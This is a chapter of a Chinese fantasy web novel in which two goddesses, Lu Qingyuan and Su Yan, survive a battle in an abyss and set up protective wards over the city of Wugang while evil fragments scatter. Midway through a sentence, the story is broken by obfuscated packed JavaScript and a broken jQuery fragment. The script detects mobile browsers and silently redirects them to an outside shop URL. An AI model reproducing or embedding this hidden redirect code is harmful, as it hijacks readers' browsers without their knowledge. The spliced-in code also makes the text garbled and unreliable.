深渊硝烟缓缓沉降。
漫天翻涌的黑潮已经溃散大半,可地脉岩层的缝隙之中,依旧丝丝缕缕飘出灰黑色的恶念残息。这些是万古人恶被打散之后剩下的碎片,没有了本源统御,不再拥有毁天灭地的力量,却如同难以根除的毒垢,顺着破碎的地脉裂隙,向着雾港四面八方悄悄渗透。
陆清鸢肩头的伤口还在缓缓渗出银色神血,神袍肩部被恶气腐蚀出大片焦黑破损。她没有立刻疗伤,创世神轮半悬在身后,九层环纹光芒黯淡不少,方才那记倾尽双源之力的合斩,同样耗损了她巨量的创世本源。
她侧身,牢牢将苏砚护在身侧。
苏砚的脸色苍白得近乎透明,本心渡世长枪已经化作点点白光消散。方才强行召回万古人间情愫,几乎抽空她大半神魂力量,唇角还残留着淡淡的神魂血丝,浑身微微发颤。本心大日的光晕薄得像一层蝉翼,却依旧稳稳笼罩周身,过滤掉游荡过来的残恶气息。
“暗主逃入地脉最底层的虚空夹缝,我追踪不到确切坐标。”陆清鸢的声音带着一丝战后沙哑,创世神力铺开,一寸寸扫描满目疮痍的深渊,“它没有消亡,只是借岩层虚空的遮蔽,彻底隐匿自身。”
它打碎的只是暗主投射出来的半面虚影,并非本体。
方才那一场惊天动地的死战,重创的是万古人恶本源,而非执棋者本身。
苏砚轻喘一口气,抬眼望向深渊深处那片沉沉不见底的黑暗。
“它的道不会就此停下。”苏砚轻声开口,神魂还有阵阵钝痛,无数细碎的凉薄残念还在断断续续冲撞她的识海,“它无法直接出手毁灭天地,便会驱使这些散落的恶念碎片,去侵染人间。”
本源被击溃,棋局被打碎。
可棋子,还流落在世间。
地表之上,雾港的危机并没有完全解除。
方才被强行夺回的人间温柔正在稳固,但是那些四散逃逸的恶念碎片,如同无形瘟疫,避开城池中心,向着城郊老街、废弃旧楼、荒置戏院这类情绪沉淀厚重的角落四散流窜。
藏书楼内,沈烬扶着摇摇欲坠的推演长桌,满桌的因果图谱大半焚烧碎裂,纸灰散落一地。少年指尖飞快拨动残存的竹简,额角布满冷汗,脸色凝重。
“地脉千疮百孔!大量恶念碎片脱离主战场,散入雾港各处幻墟节点!”沈烬高声呐喊,声音穿透地层传到深渊底下,“它们不会再大规模吞噬人心,可会钻人执念缝隙,放大人心中本就存在的自私、怯懦、薄情!普通人内心一旦生出缝隙,就会被残恶寄生!”
阮晚伶已经持剑冲出藏书楼,红衣身影穿梭在街巷之间。
晚风卷过街巷,个别心性本就脆弱的路人,眼神再度泛起一瞬漠然。只是这一次力量微弱,不足以彻底剥夺情感,只会放大心底的阴暗。
一处老巷,一名男子和爱人争执,心中生出一瞬厌弃,一缕灰黑碎片立刻趁虚而入,瞬间放大那份厌烦,险些酿成无法挽回的决裂。阮晚伶剑光一闪,剑气精准挑飞那一缕依附在人神魂外的恶念残片。
“不能伤害普通人,恶念依附人心,斩恶便会伤及宿主神魂。”阮晚伶眉头紧锁,只能一次次以剑气剥离驱散,无法彻底根除。
地底深渊。
陆清鸢听完沈烬传来的讯息,眸光沉冷。
“明面上的浩劫结束,真正的麻烦,才刚刚铺开。”
万古人恶如同被砸碎的毒罐,大团毒浆被销毁,可无数毒屑溅落四方。杀不尽,烧不完。
苏砚闭上双眼,纯白本心之光向外铺展,化作万千细密光点,顺着地脉所有裂缝向外蔓延。每一道光点,都是温柔的守护屏障,落到哪里,便在哪里筑起一层隔绝残恶的壁垒。
“我来布下本心护网。”苏砚轻声道,“护住整座雾港的人心根基,不让残恶轻易钻进众生的心神缝隙。但是……护网只能阻隔,不能清扫已经逃逸出去的碎片。”
本心之光浩浩荡荡铺满整片地脉,顺着江河、街道、老屋地基蔓延向整座城市。雾港上空悄然浮起一层肉眼几乎不可见的纯白薄纱,笼罩万家灯火。
街上那些险些被侵染的路人,心头那股无端滋生的厌弃、冷漠,缓缓消散。
做完这一切,苏砚身子一晃,险些踉跄倒地。
陆清鸢快步伸手将她稳稳揽入怀中,掌心流转温润的创世神力,缓缓渡入她的体内,替她修补受损的神魂根基。银色神血顺着她的肩头滴落,砸在深渊破碎的岩石上,滋滋冒出淡淡的白烟。
“不要硬撑。”陆清鸢下颌轻轻抵着她的发顶,声音藏着后怕,“你已经做得足够多。”
“可碎片还在到处逃。”苏砚靠在她怀中,呼吸浅浅,“暗主躲在夹缝之中,它可以借着这些残恶,慢慢积蓄力量。等到碎片重新汇聚,便是它卷土重来之时。”
就在这时,深渊四面八方,无数破碎的岩层缝隙里,响起细碎、零零散散的低语。
不再是之前万众合一的咆哮,是星星点点、断断续续的呢喃。
【真心很累……】
【深情无用……】
是逃窜四散的恶念碎片,在暗处窃窃私语。
它们畏惧双源的神光,不敢靠近,却没有消亡,蛰伏在黑暗缝隙,静静等待时机。
就在这片细碎杂音之间,一道极淡极轻的意念,穿透层层岩层,遥遥落在二人耳畔,来自虚空夹缝深处,属于暗主。
“你们可以驱散恶念,可以护住一城人心。”
“但人心本就有阴翳。”
“只要世间还有一人生出薄情一念,我便有重聚的养料。”
“双源,你们守得住一时,守不住万古人心。”
话音落下,彻底销声匿迹,再也捕捉不到半分波动。
陆清鸢眸色骤寒,抬手一道银色神刃劈向声音传来的虚空夹缝。神刃撞在虚无屏障之上,激起大片涟漪,却无法穿透那层被暗主加固过的隔绝壁垒。
“它在挑衅。”陆清鸢指尖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893333|212798||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
微微收紧,“它躲在那处夹缝,我们暂时攻不进去。”
打得到虚影,碰不到本体。
苏砚从她怀中直起身,神色沉静,没有被对方的话语动摇。
“人心本就有阴翳,我从不否认。”她抬眸望向深渊之上,那片被本心护网笼罩的人间灯火,“但人心不止只有阴翳。有薄情,亦有坚守;有背弃,亦有相守。它只看见人的阴暗,却刻意无视世间千千万万份滚烫的真心。”
“它赌人性之恶会生生不息。”
“那我们便赌人性之善永不熄灭。”
陆清鸢望着身旁的人,满身杀伐戾气缓缓褪去。她抬手,指尖拂过苏砚苍白的脸颊,而后转头看向上方通往地表的地脉通道。
“此地不宜久留。深渊地脉已经破损,继续留在此处,会不断消耗我们的本源。先回地面,再做筹谋。”
九层创世神轮收敛光芒,缓缓缩回她的神魂之内。
陆清鸢半扶半揽着苏砚,两道一银一白的身影,踏着破碎漂浮的岩石,缓缓向着深渊上方升腾而起。
一路向上,沿途无数细碎灰黑恶念碎片远远避开,不敢靠近双源身上的神光。
钻出地脉裂口的一刻,入夜的晚风扑面而来。
雾港满城灯火依旧摇曳,江水静静流淌。
街道之上,阮晚伶还在四处奔波,不断剥离游荡的恶念碎片。远处的梨园戏台,苏妆立在戏台高台,红衣翻飞,自身神魂铺开,守住戏台这一片旧日幻墟节点,不让残恶再次侵染百年梨园。
藏书楼的窗口亮着灯火,沈烬还在疯狂翻阅万古卷宗,想要寻找关于那处虚空夹缝、关于暗主来历的记载。
城中众生大多并不知道刚刚地底发生过一场足以覆灭世界的万古死战。他们依旧过着寻常日子,散步、闲谈、归家,只是心底多了一丝莫名的安稳。
可所有人都清楚,危机远没有结束。
浩劫只是暂时被压下,并非彻底终结。
陆清鸢与苏砚落在江边长街,月光洒落在二人伤痕累累的身上。
江风卷起破碎的衣料。
苏砚望向江面粼粼波光,轻声开口:
“它靠人间的薄情恶念存活。只要人间还有伤痛辜负,它就拥有养料。直接斩尽,行不通。”
陆清鸢望着远处万家灯火,眼神沉静:
“硬攻夹缝,我们没有十足把握。不能贸然冒赌上整个新天的风险。”
“那我们要怎么做?”
陆清鸢侧过头看向她,眼底是历经血战之后,依旧未曾动摇的坚定。
“不去追躲在暗处的执棋者。”
“守好人间,梳理地脉,净化散落的恶念碎片。”
“它要借人心阴暗养势。那我们便守住世间每一份温热。”
“它等碎片重聚,我们便让它永远等不到那一日。”
江浪拍打着堤岸。
暗处,零星灰黑色光点隐入楼宇阴影,悄无声息蛰伏。